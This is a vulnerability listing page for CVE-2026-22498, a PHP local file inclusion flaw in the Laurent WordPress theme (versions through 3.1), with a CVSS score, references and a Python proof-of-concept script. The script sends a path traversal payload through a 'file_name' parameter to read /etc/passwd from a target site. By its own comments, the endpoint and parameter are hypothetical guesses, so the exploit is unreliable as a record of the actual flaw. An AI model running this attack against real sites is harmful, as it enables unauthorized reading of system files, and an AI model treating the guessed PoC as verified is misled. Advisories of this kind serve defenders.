CVE-2026-22498

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Laurent laurent allows PHP Local File Inclusion.This issue affects Laurent: from n/a through <= 3.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Elated-Themes Laurent <= 3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-22498
# Description: Exploits PHP Local File Inclusion in Laurent Theme <= 3.1

import requests

def exploit_lfi(target_url):
    # The vulnerable parameter might be 'file', 'path', etc. Adjust as needed.
    # Attempting to read /etc/passwd on a Linux system
    traversal_payload = "../../../../../../etc/passwd"
    
    # Hypothetical vulnerable endpoint structure
    full_url = f"{target_url}/wp-content/themes/laurent/includes/load_template.php"
    
    params = {
        "file_name": traversal_payload
    }
    
    try:
        response = requests.get(full_url, params=params, timeout=10)
        
        # Check if typical Linux passwd file markers are present
        if "root:x" in response.text and "/bin/bash" in response.text:
            print("[+] Vulnerability Confirmed! LFI successful.")
            print("[+] Response snippet:")
            print(response.text[:200])
        else:
            print("[-] Exploit failed or target not vulnerable.")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error: {e}")

# Usage example
# target = "http://example.com"
# exploit_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22498
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22498
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22498/
[4] VulDB https://vuldb.com/cve/CVE-2026-22498
[5] https://patchstack.com/database/Wordpress/Theme/laurent/vulnerability/wordpress-laurent-theme-3-1-local-file-inclusion-vulnerability-2?_s_id=cve

Raw JSON Data

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